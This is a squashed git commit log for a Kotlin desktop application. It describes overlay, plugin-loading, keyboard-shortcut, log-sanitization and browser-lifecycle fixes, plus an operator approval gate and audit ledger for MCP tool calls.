Co-authored-by: Shivang * Overlay follow-ups: popup measure guards, anchor diagnostic, dialog a11y (#143) (#367) * Overlay follow-ups: popup measure guards, anchor diagnostic, dialog a11y (#143) Equality guards on BossPopup's measuredWidthPx/anchorPositionPx make onGloballyPositioned/layout writes no-ops in the steady state instead of a redundant compose-measure-layout pass per frame during a window drag. AnchorBounds popups that never measure report once via BossOverlayHost.reportUnmeasuredAnchor() after a grace period. The modal card declares semantics { dialog() } and swallows clicks with detectTapGestures instead of clickable, so a screen reader announces a dialog rather than a button; the scrim dismiss also moves to detectTapGestures so IsDialog is not merged under a clickable ancestor (which crashed the modal). BossAlertCard drops the header spacer for a buttons-only card (alertHeaderSpacerVisible); AlertWidth renamed ALERT_WIDTH. Covered by BossAlertCardSpacerTest, ScrimmedModalSemanticsTest, and the existing ModalInputArmingTest/BossAlertCardLayoutTest. * fix(overlays): refresh scrim dismissal callback after recomposition * fix(overlays): remove redundant measurement reads and cover card taps --------- Co-authored-by: Shivang * fix(plugin-ui-core): guard write-once overlay registry fields (#369) * fix(plugin-ui-core): stop redundant popup recomposition and guard write-once overlay registry fields Two non-blocking follow-ups from the HARDWARE dialog sweep (#143). BossDialog wrote measuredWidthPx and anchorPositionPx unconditionally from layout {} / onGloballyPositioned, and both are read during composition - so an unchanged value still invalidated composition from inside layout on every pass, costing a redundant composition-measure- layout cycle per frame for every open BossPopup during e.g. a window- resize drag. Both writes are now equality-guarded, a no-op once the value stops moving. BossOverlayHost.{useHeavyweightOverlays,modalRenderer,popupRenderer, diagnostics} are public mutable statics the KDoc calls host-owned and write-once, on a singleton shared across the host and every in-process plugin - but nothing enforced it, so one plugin line could reinstate the occluded-dialog bug this file exists to fix. Each now locks to its first write (via a custom setter, so the JVM descriptor - and so binary compatibility with the boss-plugin-api mirror - is unchanged) and reports a duplicate write through diagnostics instead of silently accepting it. openHeavyweightPopups is deliberately left alone: its own KDoc documents it as a running counter across a popup's lifetime, not a one-time registration, and a write-once guard would freeze it at whatever the first popup left it. Co-Authored-By: Claude Sonnet 5 * test(overlays): isolate write-once registry fixtures and remove duplicate popup edits * fix(overlays): register diagnostics first and verify both startup modes --------- Co-authored-by: Claude Sonnet 5 Co-authored-by: Shivang * fix(plugin-api-core): guard against host/api divergence in duplicated packages (#368) * fix(plugin-api-core): guard against host/api divergence in duplicated packages ai.rever.boss.plugin.{logging,bookmark,workspace,browser,scrollbar,ui, tab.terminal} each exist twice: once in the host modules, once inside boss-plugin-api, what plugins actually compile against. The host's copy shadows the api's parent-first inside plugin classloaders, so a plugin whose bytecode references a member the api has and the host lacks fails to link at runtime rather than at compile time - already the cause of two incidents (secret-manager 1.2.6/1.2.7, unloadable on every host with only "ComponentLogger.$stable: field not found" as a clue). LoggingStableFieldTest, BookmarkStableFieldTest and WorkspaceStableFieldTest each pin the one field that has actually bitten us. Nothing pinned the general case: an added method or a changed signature in either copy breaks a plugin the same way and would be diagnosed from scratch. ApiPackageDivergenceTest diffs the host's copies against the pinned release jar plugin-api-core's own build already downloads (fetchApiPluginJar), for every public, non-synthetic member of the seven packages actually duplicated (verified against the real jar's contents, not guessed from the issue's approximate count) - not ai.rever.boss.plugin.api itself, which is filtered from that same jar so it cannot diverge from itself, and not ai.rever.boss.plugin.bundled, which is api-only. Co-Authored-By: Claude Sonnet 5 * fix(plugin-api): cover callable ABI and preserve PanelConfig linkage * fix(tests): compile legacy serialization bridge and satisfy lint * test(plugin-api): address review and verify loader isolation --------- Co-authored-by: Claude Sonnet 5 Co-authored-by: Shivang * fix(gate): surface remedy success and handle in-flight update states (#378) * fix(gate): handle updateHost success and in-flight download states * style(gate): resolve detekt LongMethod and ReturnCount violations - Extracted PluginLoadGateHeader to reduce PluginLoadGateBody length under 60 lines. - Refactored updateHost to use a single return expression, eliminating multiple exit points and fixing line length limits. * fix(gate): complete header extraction and validate update remedy state * fix(gate): retain rollback and report installation progress accurately * fix(gate): explain the install step after downloading BOSS * style(gate): apply ktlint and wrap detekt overlong lines --------- Co-authored-by: Shivang * Make MCP search rows open Toolbox for kill-switches (#380) (#382) * Make MCP search rows open Toolbox for kill-switches (#380) Agent-less operators could find mcp__boss__* tools in double-shift search but selecting a row did nothing. Wire selection to reveal Toolbox (plugin-manager) and document the minimum attach / kill-switch path. * fix(search): validate MCP navigation and clarify Toolbox hint * fix(search): report unavailable Toolbox for MCP selections --------- Co-authored-by: Shivang * # Governed Autonomy for MCP tools: approval gate and audit ledger (#371) * feat(mcp): implement Governed Autonomy with Operation Ledger and ASK mode approval gate - Add McpPolicy and McpPolicyEngine with fail-closed configuration and session trust - Add McpApprovalBus and McpApprovalDialog for non-blocking interactive tool approval - Add McpOperationLedger with size-based file rotation (10 MB x 5) and sensitive argument masking via LogSanitizer - Integrate policy checks, coroutine approval gate, and ledger journaling into McpToolRegistryCore.invoke - Add UI wiring in BossAppState, BossAppEventBusEffects, BossAppDialogs, and BossBottomBar - Add comprehensive unit tests covering policy, approval, ledger rotation, and registry invoke integration * fix(mcp): address review findings across approval gate, policy engine, and ledger * fix(mcp): avoid length-based over-redaction of tool arguments McpOperationLedger and McpApprovalDialog sanitized arguments through LogSanitizer.sanitizeMap, which masks any string value 20+ characters long regardless of content. That defeated the stated goal of keeping long file paths, URLs, and shell commands readable in the audit log and, worse, in the approval dialog an operator relies on to decide whether to approve a mutating call. McpArgumentSanitizer replaces that path for both call sites: a value is now only masked when its key names it as sensitive, or its shape is unambiguously a credential (JWT, GitHub token, sk_/pk_ vendor key). Adds a test proving shape-based masking still catches a credential under a non-sensitive key name, and renames the existing redaction test to match. Also reorders two imports in BossAppDialogs.kt that were out of alphabetical order and would fail ktlintCheck. Co-Authored-By: Claude Sonnet 5 * fix(mcp): repair governed dispatch and cancellation audit guarantees * fix(mcp): address governed autonomy review defects --------- Co-authored-by: Claude Sonnet 5 Co-authored-by: Shivang * Stop the Shortcuts tester reporting working shortcuts as broken (#375) (#376) * Fold the key spellings Compose renders but the AWT interceptor does not BOSS maintains two key-name vocabularies over one keyboard. `AWTKeyboardInterceptor.getKeyName` names a physical key one way; Compose's `Key.toString()`, which is where `KeymapMatcher` and the Shortcuts screen both get a name, names it another. Neither list is derived from the other, and where they disagree a chord fires on one path and silently does nothing on the other. They had drifted on fourteen keys. Nine are reachable in a running app, because `Key.toString()` falls through to AWT's `getKeyText`, which answers with the macOS glyph once the toolkit is up: Enter, Escape, Tab, Backspace, Delete, Home, End, PageUp and PageDown. So `KeymapMatcher` was asking whether the glyph was "Tab" and being told no, which takes out Ctrl+Tab and Ctrl+Shift+Tab (TAB_NEXT and TAB_PREVIOUS) in all four shipped presets. They survive only on the AWT interceptor, which says "Tab" on both sides. The other five are the cold-JVM spellings the same call renders before the toolkit is up (`Back Slash`, `Quote`, `Back Quote`, `Page Up`, `Page Down`), not reachable in a running app but folded for the same reason. This is the shape `Left`/`DirectionLeft` and the bracket pair already were, so the fix is entries in the table those live in rather than a new mechanism. Also here, because the divergence is what they are about: - `composeKeyName` is the one place that reads a name out of `Key.toString()`. `KeymapMatcher.keyMatches` had its own copy of that parse, and two copies is how one path came to know a spelling the other did not. - `KeyVocabularyAgreementTest` walks the two tables key by key over all 73 bindable keys. Only the pairing of a Compose `Key` to its AWT keycode is hand-written, since that is the identity of the key itself; both vocabularies are read from the code under test, so the next divergence fails a build rather than a keystroke. A second test asserts the fold does not collapse keys that are distinct, which asserting agreement alone would pass without. - `CanonicalKeyNameTest` enumerates the glyph and spaced spellings, because the agreement test's input is whatever the environment renders and a cold run cannot reach the glyphs. `getKeyName` becomes `internal` so the test can read it; the two detekt baseline entries are rekeyed for the visibility change, with the function unchanged. Verified warm and cold: 3705 tests in :composeApp:desktopTest, plus ktlintCheck and detekt. Mutation-checked - reverting the new aliases fails the agreement test and names every key it lost. Co-Authored-By: Claude Opus 5 * Stop the Shortcuts tester reporting working shortcuts as broken `ShortcutTestRunner.validateKeyName` kept its own hand-written set of valid key names - the fourth copy of the key vocabulary in the codebase, and the only one nothing tested. It had drifted, and step 4 of the tester turned that drift into a hard FAILED. Fifteen keys the interceptor dispatches were reported as "Unknown key name 'X' - won't match user input" on a shortcut that fires: - every function key, F1 through F12 - Home, End, PageUp, PageDown - the character spellings the fold has always accepted ("-", "=", "/" and the rest), which were reported with the confident and wrong advice "Key name should be 'Minus' not '-'" - the spellings Compose renders, both cold ("Back Slash", "Quote", "Page Up") and the macOS glyphs a running app produces The list is replaced by `isKnownKeyName`, which folds through `canonicalKeyName` against `KNOWN_KEY_NAMES` in the model - one vocabulary, beside the fold that already reconciles the other three. The verdict also softens to a note. "Will this key match" is not knowable from the name alone: `canonicalKeyName` folds an unknown name onto itself, and the keyboard has keys outside the interceptor's table (F13 and up, the keypad) that AWT still names. So an unrecognised name now says it is unrecognised alongside the result, and the test does not fail on it. Reporting a working shortcut as broken is worse than saying nothing, and that is the failure this PR is about. `ShortcutTesterKeyNamesTest` pins the vocabulary in both directions: every key the interceptor names is recognised, and nothing is claimed as known that no key produces. The second half is what stops the set being padded into passing the first. Every shipped preset binding is covered, and a name nothing can produce is still called out, so removing the false failures did not remove the check. Verified: 3705 tests in :composeApp:desktopTest, plus ktlintCheck and detekt. Mutation-checked - restoring the two omissions the old list had (the function keys, and Home/End/PageUp/PageDown) fails the test and names all sixteen. Co-Authored-By: Claude Opus 5 * review: keep a real verdict for a key stored as a raw key code Self-review of the change above found that softening step 4 to a note went one case too far. A key stored as a packed `Key.keyCode` is the one thing that IS decidable from the name alone, and it is decidably broken: no matcher compares against a number, so the binding fires on neither path. That is what every rebind made in the Shortcuts screen wrote before #329, which makes it the population most likely to be on this screen in the first place - and they would have been shown a green row with a parenthetical note. It keeps FAILED, with advice that holds either way: a keymap carrying a raw key code is worth re-recording whether or not the fold currently resolves it. Also drops a guarantee two comments claimed and the tests do not give. The test drives the interceptor's table through a hand-written list of key codes, so a key added to that table alone is checked by nothing. Reading the `when` itself would need reflection over a private table; saying so is better than asserting an invariant that is not enforced. Co-Authored-By: Claude Opus 5 * #329 - Fix: store key names when rebinding shortcuts * Fold the key spellings Compose renders but the AWT interceptor does not BOSS maintains two key-name vocabularies over one keyboard. `AWTKeyboardInterceptor.getKeyName` names a physical key one way; Compose's `Key.toString()`, which is where `KeymapMatcher` and the Shortcuts screen both get a name, names it another. Neither list is derived from the other, and where they disagree a chord fires on one path and silently does nothing on the other. They had drifted on fourteen keys. Nine are reachable in a running app, because `Key.toString()` falls through to AWT's `getKeyText`, which answers with the macOS glyph once the toolkit is up: Enter, Escape, Tab, Backspace, Delete, Home, End, PageUp and PageDown. So `KeymapMatcher` was asking whether the glyph was "Tab" and being told no, which takes out Ctrl+Tab and Ctrl+Shift+Tab (TAB_NEXT and TAB_PREVIOUS) in all four shipped presets. They survive only on the AWT interceptor, which says "Tab" on both sides. The other five are the cold-JVM spellings the same call renders before the toolkit is up (`Back Slash`, `Quote`, `Back Quote`, `Page Up`, `Page Down`), not reachable in a running app but folded for the same reason. This is the shape `Left`/`DirectionLeft` and the bracket pair already were, so the fix is entries in the table those live in rather than a new mechanism. Also here, because the divergence is what they are about: - `composeKeyName` is the one place that reads a name out of `Key.toString()`. `KeymapMatcher.keyMatches` had its own copy of that parse, and two copies is how one path came to know a spelling the other did not. - `KeyVocabularyAgreementTest` walks the two tables key by key over all 73 bindable keys. Only the pairing of a Compose `Key` to its AWT keycode is hand-written, since that is the identity of the key itself; both vocabularies are read from the code under test, so the next divergence fails a build rather than a keystroke. A second test asserts the fold does not collapse keys that are distinct, which asserting agreement alone would pass without. - `CanonicalKeyNameTest` enumerates the glyph and spaced spellings, because the agreement test's input is whatever the environment renders and a cold run cannot reach the glyphs. `getKeyName` becomes `internal` so the test can read it; the two detekt baseline entries are rekeyed for the visibility change, with the function unchanged. Verified warm and cold: 3705 tests in :composeApp:desktopTest, plus ktlintCheck and detekt. Mutation-checked - reverting the new aliases fails the agreement test and nam… * feat(mcp): let an operator persist an Allow/Deny tool policy from the approval dialog (#469) * feat(mcp): let an operator persist an Allow/Deny tool policy from the approval dialog McpPolicyEngine.setToolPolicy already writes a durable ALLOW/ASK/DENY rule to ~/.boss/mcp-tool-policy.json and takes effect immediately - it was fully built and tested, but the only caller was this repo's own test suite. AGENTS.md's own governance section names the gap plainly: "Persistent rules currently require editing ~/.boss/mcp-tool-policy.json and restarting." The interactive approval dialog for ASK-governed tools offered only "Approve Once" and "Always this Session" (in-memory, cleared on restart) - there was no way to tell BOSS "never ask about this tool again" without hand-editing JSON. - McpApprovalDecision.Approved/Denied gain a persistPolicy flag, threaded through McpApprovalBus.approve/deny (both additive, defaulting to false - every existing call site is unaffected). - McpToolRegistryCore.authorizeInvocation calls policyEngine.setToolPolicy(toolName, ALLOW/DENY) when persistPolicy is set, recording two new McpApprovalDisposition values (PERSISTENTLY_ALLOWED / PERSISTENTLY_DENIED) in the audit ledger so it's visible which of the three scopes - once, session, persistent - an operator actually chose. A persisted ALLOW makes the existing session-trust call redundant (policyFor checks the configured rule first), so the registry does not also call trustForSession when this is set - one less write, same result. - McpApprovalDialog gains "Always Allow" / "Always Deny" actions, visually secondary to the three existing per-call actions since they are the more consequential, less common choice. Scope: this is the interactive path only. The policy file itself, its fail-closed-on-unreadable behavior, and the kill-switch/RBAC layers upstream of policy resolution are untouched. 8 tests in McpGovernedInvocationTest (2 new) cover persisted ALLOW and DENY end to end: the approval/denial itself, the ledger disposition, and that a second call to the same tool no longer suspends for approval - confirming the rule actually took effect, not just that it was written. ktlintCheck, detekt and the full mcp/app/dialogs test packages all green. * fix(mcp): verify durable approval writes and preserve revocations * feat(mcp): let an operator inspect and revoke a persisted tool policy The review's remaining finding: after "Always Allow" persists a rule, there was no way back except hand-editing ~/.boss/mcp-tool-policy.json and restarting - the new caption and AGENTS.md text explained that, but disclosure is not a reversal control, and "Revoke MCP session trust" only ever cleared in-memory grants, never a persisted rule. McpPolicyEngine.revokePersistedPolicy(toolName) is the operator-facing undo for setToolPolicy's persistent scope: resets the tool to ASK and clears session trust for it in the same call, since policyFor checks session trust before a non-DENY configured rule - revoking only the persisted half would leave a tool that happened to hold both still silently auto-allowed. Returns whether the write actually succeeded, so a failed revoke is reported rather than the UI showing a change that never reached disk. McpPolicyManagerDialog lists every persisted rule (tool name, ALLOW/ DENY, a per-row "Reset to Ask") and shows an inline error for a row whose reset failed to save. Wired into the bottom bar next to the existing session-trust revoke, behind a button that only appears once a rule exists - nothing new to look at when there is nothing to revoke. Not exposed as an MCP tool: this is a human-only control reachable by clicking, never callable by an agent on its own behalf. New tests cover the exact validation the review asked for: a persisted ALLOW revoked from the API resets to ASK and survives a reload from disk; revoking also clears session trust so the next call asks again even when both grants were held; an unrelated tool's DENY rule is untouched; and a failed write is reported through the same fault channel setToolPolicy already uses, not silently swallowed. * fix(mcp): make policy revocation actually remove the rule, off the UI thread revokePersistedPolicy previously rewrote a revoked rule to ASK instead of removing it, so the bottom-bar count never dropped and the policy manager dialog kept listing "revoked" tools with a no-op Reset button; under a hardened defaultMutatingAction=DENY config the leftover ASK was also weaker than the operator's own default. Removing the key instead fixes all three. The revoke write also ran synchronously on the Compose UI thread; onRevoke is now a suspend callback launched from the dialog's own coroutine scope, with the actual engine call wrapped in withContext(Dispatchers.IO) at the call site. A DENY row's reset now needs a second tap to confirm, since it is the one control in this dialog that raises standing privilege rather than lowering it. Stale operator-facing copy pointing at hand-editing the policy file was updated to point at the in-app dialog instead, in both the approval dialog and AGENTS.md's governance section. Left as a documented limitation rather than fixed: a queued approval answered "Always Allow" after the same tool's rule was freshly revoked can still re-persist it, since the existing preserveDeny guard only protects against a newer DENY, not a newer revocation. Closing that needs a revocation generation/timestamp compared inside the policy engine's lock. * fix(mcp): invalidate queued approvals when a saved policy is reset --------- Co-authored-by: Shivang * feat(plugins): add health and recovery center (#454) * feat(plugins): add health and recovery center * fix(plugins): retain recovery feedback and use lifecycle delegate * style(plugins): satisfy health recovery quality limits * fix(plugins): report unavailable recovery and observe sandbox disables * style(plugins): keep health dialog within function limit * style(plugins): remove unused sandbox state helper * style(plugins): format sandbox state lookup chain * fix(plugins): route watchdog recovery through safe reload * fix(plugins): finish sandbox teardown before recovery reload * fix(plugins): complete recovery teardown after caller cancellation * fix(plugins): restore panels when pre-lock uninstall is cancelled * fix(plugins): propagate cancellation before destructive uninstall * fix: prevent disabled plugin sandbox restart * fix: satisfy sandbox recovery static checks * style: format sandbox restart recovery * fix: close sandbox restart admission races * test(plugins): pin disable races and clarify cancelled uninstall outcome * test(plugins): configure budget race fixture explicitly * style(plugins): format sandbox race regression fixture --------- Co-authored-by: ayush Co-authored-by: Shivang * fix(plugins): #429 follow-ups: one offer filter, root-named failures, matching cancellation contracts (#483) * Batch validation: promote latest reviewed dev changes to main (#463) * Fix #30: Resolve duplicate context menu label collisions * Cleanup: Remove dead code for #91 and #93 * chore: Sanitize SubmitResult.Error at construction rather than at one render site * Fix panel component lifecycle disposal * fixes * Guard panel lifecycle destruction failures * fix(logging): sanitize secret RPC failures and crash-report errors Three related gaps in what gets logged and shown when something fails: - SecretService.kt had no BossLogger in any of its ten catch blocks (#145). When the organisation migration broke all four secret RPCs (#144), the only WARN in the log came from the calling plugin - the code that actually failed said nothing. Every catch now logs via logger.warn(LogCategory.NETWORK, ...), reusing the already-sanitized failure for both the log and the returned Result rather than sanitizing twice. RoleService and RoleCreationService were checked and already log correctly - SecretService was the only silent one. - LogSanitizer.sanitizeExceptionMessage redacted a hostname only when it appeared inside a URL - a bare hostname (exactly what UnknownHostException.getMessage() produces, i.e. every DNS failure, and what a proxy-connect failure looks like) passed through untouched (#109). Added a narrow hostname pattern: lowercase-only labels ending in a short explicit TLD/`.internal`/`.local` list, with a negative lookahead so a package path that happens to end in a real TLD word mid-FQN (kotlinx.coroutines.internal.ScopeCoroutine, kotlinx.io.EOFException) is not mistaken for one - caught by the existing realistic-stack-trace test after the first version of the pattern redacted a live Kotlin package name out of it. - CrashReportService.SubmitResult.Error held a raw exception string, sanitized at exactly one render call site in CrashReportDialog (#110). The constructor is now private; SubmitResult.Error.of(...) is the only way to build one, and it sanitizes before the raw string can reach .message - a property of the type now, not something every future consumer (a copy button, a toast, a log line) has to remember on its own. Both construction sites (the service's two catch blocks, and the one in CrashReportDialog the issue names directly) now route through it. Tests: new coverage for the ten now-logging SecretService paths (via SupabaseWiringTest's existing sanitization-wiring guard, updated to recognize the "sanitize once into a local, reuse for log and return" shape SupabaseDataProviderImpl already used), six new LogSanitizerTest cases for the hostname fix (including the FQN/version-number false-positive guards), and a new CrashReportServiceTest for the sanitize-at-construction guarantee. * test(crash): extract construction tests from #404 Selected unchanged test file from Antriksh1984 original commit 99d2a5228023c541e825fe2714619c8228140369 (PR #404). Maintainer extraction only; subsequent API/scope adaptations are recorded separately. * chore(ipc): clarify advisory menu ID scope and fix formatting * chore(ui): finish obsolete toolbar comment cleanup * test(crash): adapt consolidated coverage and guard factory visibility Maintainer consolidation: use #311 companion invoke and a URL fixture instead of depending on #404 hostname redaction. Add private constructor/copy bytecode assertions. Preserve original contributor tests and implementation credit separately. * refactor(crash): consolidate construction sanitization in #311 Maintainer scope change: remove only the duplicate #110 implementation, retaining Antriksh1984 original #109/#145 work and commit history. Standalone construction tests are retained with attribution in #311; its Aditya8369 implementation supersedes Error.of. Keep render-time sanitization here until #311 merges and describe the remaining hostname coverage conservatively. * test(panels): retain sibling lifecycle isolation coverage from #313 Adapt the original #313 test to the #317 constructor and supply the missing panelInfo overrides. Original test scenario and assertions are by @rehannayeem0786; these compile adaptations are maintainer integration work. * fix(panels): complete lifecycle cleanup across failure and window teardown Destroy partially constructed panels and replacements that fail to resume. Continue downward lifecycle transitions after a failing pause or stop callback. Dispose panels before plugin teardown in the same callback rather than relying on sibling Compose effect order. Add regression coverage and adapt the retained #313 test bodies for detekt. These changes are maintainer follow-up to the original #313/#317 contributions. * docs(ui): remove stale disabled top-bar feature list * test(ipc): protect advisory menu item ID uniqueness * fix(panels): keep store registration scoped to its window effect Remove the redundant unregister from plugin teardown. Document independent context services and synchronous Essenty onCreate replay, with tests for registration ownership and exactly-once create callbacks. Keep tab teardown hardening separate. Maintainer follow-up to the review of #317; original #313/#317 contributor credit is unchanged. * fix(crash): address consolidated sanitization review notes Maintainer follow-up to Claude N1-N4: document factory/copy invariant, correct stale comments, move Aditya original construction assertions into the service suite while retaining Antriksh blank/diagnostic cases, and log unexpected dialog submission failures. Original contribution credit remains separate. * fix(logging): keep server failure payloads out of secret RPC logs Maintainer follow-up to Claude review: log operation and exception type only, preserve sanitized return semantics, and check each catch for safe return/log wiring. Document measured hostname limits without broadening the matcher; add module-local redaction and diagnostic-preservation coverage. Antriksh original implementation remains credited separately. * ci: build PR batches on dev * Allow Claude diff reviews after approved fork builds (#413) * fix(browser): preserve newer clipboard copies during plain-text paste (#316) * fix(browser): paste-without-formatting no longer clobbers a copy made in its restore window (#205) * fix(browser): make paste-without-formatting's restore identity-based, not text-based Review of this PR caught that the text-equality guard cannot distinguish 'our write is still current' from 'a previous press already restored the rich original' - whose string projection is by construction the same text - so two presses inside the 200ms window permanently downgraded a rich clipboard to plain text. A PasteWithoutFormattingSession now tracks the exact Transferable each press installed and restores the pre-window original once, while a user copy in the window still wins. Adds five tests to BrowserClipboardCommandsTest, including the double-press regression; wraps the two over-limit lines; e.message -> e::class.simpleName in the touched handlers. * fix(browser): fold tryRestore's early exits so it stays within detekt's ReturnCount * fix(browser): blank lines between FakeTransferable overrides per ktlint * test(browser): retain clipboard restore scenarios from #408 * fix(browser): track clipboard ownership through AWT wrappers --------- Co-authored-by: rehannayeem0786 Co-authored-by: Shivang Co-authored-by: Antriksh1984 * fix(plugins): serialize concurrent first loads per class name (#324) * fix(plugins): prevent duplicate class definitions during concurrent loads * fix(plugins): make class loading parallel-safe * test(plugins): pin concurrent loading lifecycle boundaries Maintainer consolidation follow-up: retain #324 synchronization and its tests; add concurrent shared-name, superclass, and unload-marker coverage. Document caller-sensitive registration based on arjun28115 review feedback and clarify that marking unload does not drain an already admitted parent lookup. No global lifecycle lock or resource-policy changes. --------- Co-authored-by: sgoel2be24-cyber <223222024+sgoel2be24-cyber@users.noreply.github.com> Co-authored-by: Procs <168113425+ProportanilityConstant@users.noreply.github.com> Co-authored-by: Shivang * fix(browser): defer native disposal until admitted calls drain (#312 + #409) (#412) * fix: make BrowserHandle JavaScript execution cancellable the previous synchronous JxBrowser call blocked the Main/EDT thread; coroutine cancellation could not take effect while that call was blocking; the implementation now uses JxBrowser’s asynchronous JavaScript callback API; suspendCancellableCoroutine makes the Kotlin waiting side cancellable; late callbacks after cancellation are safely ignored; this does NOT terminate JavaScript already executing inside Chromium. * fix: add robust native call lifecycle tracking for disposal * test: verify native operation cleanup on synchronous failure * fix: linearize browser disposal and pending operation tracking * fix: resolve detekt violations in browser native tracking * test: satisfy detekt failure simulation rule * fix: close native operation disposal race * fix(browser): drain an in-flight call before closing the browser Issue #300 reports that executeJavaScript is a synchronous, non- cancellation-aware native call, and a plugin's own withTimeoutOrNull around it can only abandon the caller's wait - not the call itself - which stays running on Main indefinitely and can race a concurrent handle.dispose(), touching the same native object from two threads at once. The severe half of this was already fixed by BoundedBrowserCall: this class confines every blocking round trip to one dedicated daemon thread instead of Dispatchers.Main, so a wedged renderer no longer freezes the app. What was not yet closed is the residual window this issue's core report is actually about: shutdown() stopped new work but did not wait for whatever was already running, so a caller could proceed straight to browser.close() while a call from just before shutdown was still finishing on the dedicated thread. shutdown() now waits, bounded, for that in-flight call to drain before returning. Costs nothing in the common case - awaitTermination returns immediately once the one worker thread and its queue are both idle, which is where an instance sits between calls - and only the bound in the rare case something was genuinely still running. Known, and disclosed in the KDoc rather than claimed away: this narrows the race for the common case (a call that was always going to finish quickly) rather than closing it. It cannot help when the in-flight call is itself the wedge this class's own deadline exists for - waiting unboundedly for a genuinely stuck call would reintroduce the exact freeze BoundedBrowserCall exists to prevent, just moved from a plugin's await into every caller's teardown path. There is no JxBrowser API on this version able to interrupt a blocking round trip already inside the native call, which is the whole reason the call is confined to its own thread instead of cancelled - closing that window completely needs JxBrowser's own cooperation, which the issue's own analysis already concluded is unavailable. Tests: shutdown waits for a fast in-flight call to finish before returning, and does not wait past its own drain timeout for a wedged one - the same before/after pair the rest of this test file already uses for BoundedBrowserCall's deadline. * fix(browser): defer native close until admitted calls drain Consolidates the lifecycle work from #312 (johncybersage) and #409 (Antriksh1984), retaining both original histories. Replaces success-only callback accounting and timeout-then-close with executor termination signals and host-owned native/profile cleanup. These corrections and replacement tests are maintainer/agent work, separate from contributor scoring. * fix(browser): bound profile waits and clarify deferred cleanup ownership Address consolidation review: schedule both service disposal paths without awaiting native close, diagnose pending drains, centralize executor ownership, and bound profile lease acquisition without permitting unsafe reuse or eviction. Document process-exit abandonment and verify wiring and cleanup ordering. Maintainer/agent follow-up, separate from original #312 and #409 contributor credit. * fix(browser): schedule disposal after early UI teardown failure * ci: create launcher directory before Claude native installation * Revert "ci: create launcher directory before Claude native installation" This reverts commit 5184908e6c3f133502508513b4c5e17651b13bc0. * test: keep warmup registry ordering check on one event loop * test(browser): normalize CRLF in disposal source wiring guards --------- Co-authored-by: john k Co-authored-by: john k Co-authored-by: Antriksh1984 * feat(tabs): show a speaker glyph on tabs that are playing audio (#314) * feat(tabs): show a speaker glyph on tabs that are playing audio (#308) * fix(tabs): review round - compile, registry lifetime, UI-thread marshalling, owner flush 1. graphicsLayer import dropped (does not exist at that package); the fade now uses .alpha(audioAlpha), already imported. 2. TabAudioRegistry no longer outlives its owner: disposeAllTabsBlocking unregisters everything this component registered, and DetachedTab.destroy drops the entry for a tab destroyed without adoption - the handler captures the BossTabsComponent, so stale entries retained it. 3. The registry update is marshalled to the EDT via SwingUtilities.invokeLater, so the tab-model mutation happens on the UI thread as the KDoc claims. 4. setFullscreenHandler flushes the current playback state once ownerTabId becomes known, closing the starts-before-registration race the review could not verify. 5. TabAudioRegistryTest added: delivery, last-writer-wins, ownership-checked unregister. * fix(tabs): CI round 2 - DetachedTab receiver error, long line, and baseline-preserving signatures - BossMainWindowPanel.kt:2098: DetachedTab is a non-inner nested class and cannot use the outer component as receiver; the audio-handler drop moves to detachTab instead, which is where adoption-vs-destroy actually diverges. - TabAudioRegistry.kt:9 wrapped under detekt's 120-char limit. - FluckTabInfo.isPlayingAudio and BossTabButton's glyph read no longer change any signature: the flag is a mutable property (copied in copy()'s body) and the button reads it off tabInfo, so the constructor, copy() and BossTabButton keep their exact baseline-frozen detekt IDs and the resurfaced LongMethod/LongParameterList/CyclomaticComplexMethod findings retire. * fix(tabs): fold handleAudioUpdate within ReturnCount; add missing final newline in the test file * fix(tabs): publish audio state by browser ownership and keep icon layout stable --------- Co-authored-by: rehannayeem0786 Co-authored-by: Shivang * feat: connect chrome density settings and keyboard controls (#305) * feat: wire the chrome density scale into settings and small-screen defaults ChromeDensity / ChromeDimens.of() / LocalChromeDimens already existed on main and every bar (BossTitleBar, BossTopBar, the main tab bar, BossBottomBar) already read its height from BossChrome.dimens - but LocalChromeDimens was never provided anywhere, so it silently resolved to its staticCompositionLocalOf default (Comfortable) always. The scale was built and unreachable. This closes that gap: - WindowAppearanceSettings gets a `density` field (default COMFORTABLE, so an existing install's settings file - which has never heard of this key - decodes to exactly the chrome it already had; no settings-version bump needed). - BossApp.kt now provides LocalChromeDimens from that field, host-only and outside BossAppCompositionLocals (plugins never draw host chrome). - A "Density" dropdown in Settings > Bars (Compact/Comfortable/Spacious), indexed in Settings search. - A fresh install on a small screen (< 1000dp logical height, clearing the 13" MacBook Air's ~931-956pt from #239's own measurements) now defaults to Compact and starts with the bottom bar off - the one bar this manager can still reclaim itself, since the side strips are already off by class default. Toolkit.getScreenSize() is read once, wrapped in runCatching (HeadlessException off a display must not break a fresh install), with a pure defaultDensityFor(screenHeightDp) so the decision is unit-testable without a display. Addresses #239, scoped down from the full issue. Out of scope in this pass, deliberately: - The app does not yet report its own chrome budget as a measured percentage - the issue's own "state it, don't argue it" ask. Reachable later from the same ChromeDimens source, but needs a spot to render it. - The title bar's 27dp "Boss Console" label row is untouched - collapsing or merging it with the tab bar is a separate, riskier layout change than a density scale. - No regression intended to the existing per-bar show/hide switches or focus-mode edges: density only changes how much room a bar that is already on screen takes, never whether it is shown. * fix: drop the Compact-density bottom-bar auto-off, wrap an overlong line Address review feedback on #305: - Removed showBottomBar = density != ChromeDensity.COMPACT from getDefaultSettings(). ChromeMetricsTest already shows the shipped macOS defaults reach 93.3% of a 931dp window at Comfortable, so #239's >=90% bar is met without touching the status bar - and that bar's own KDoc argues it must stay on ("the only always-on readout"). It was also reachable from the settings-load catch fallback, so a transient read error could silently drop the bar and have the next save persist the loss. Compact now only changes density, nothing else. - Wrapped primaryScreenHeightDp() - was 121 chars, one over detekt's default MaxLineLength (120), which applies here since .editorconfig's 140 is a ktlint-only setting and this line wasn't in the baseline. * feat: add chrome density setting * feat: add small-screen chrome defaults * feat: add chrome density controls and small-screen defaults * fix(ui): preserve lean density defaults and test density controls * style: format multiline screen-height lookup * fix(ui): separate density recovery and make editor chords opt-in * style: wrap density default documentation --------- Co-authored-by: AdityaK-iiita Co-authored-by: Shivang * fix(plugins): stop host resource fallback after unload (#325) * fix(plugins): stop host resource fallback after unload * fix(plugins): preserve resource warning for a missing result --------- Co-authored-by: sgoel2be24-cyber <223222024+sgoel2be24-cyber@users.noreply.github.com> Co-authored-by: Shivang * Handle closed browser frames during navigation callbacks (#400) * Handle closed browser frames during navigation callbacks * test(browser): retain closed-event guard after navigation integration * fix(browser): preserve helpers on PID failure and recognize closed transports * style(browser): wrap review diagnostics for detekt --------- Co-authored-by: Shivang * refactor(window): pin the panel content alignment width (#398) * fix(window): restore strict width constraints for nested panels 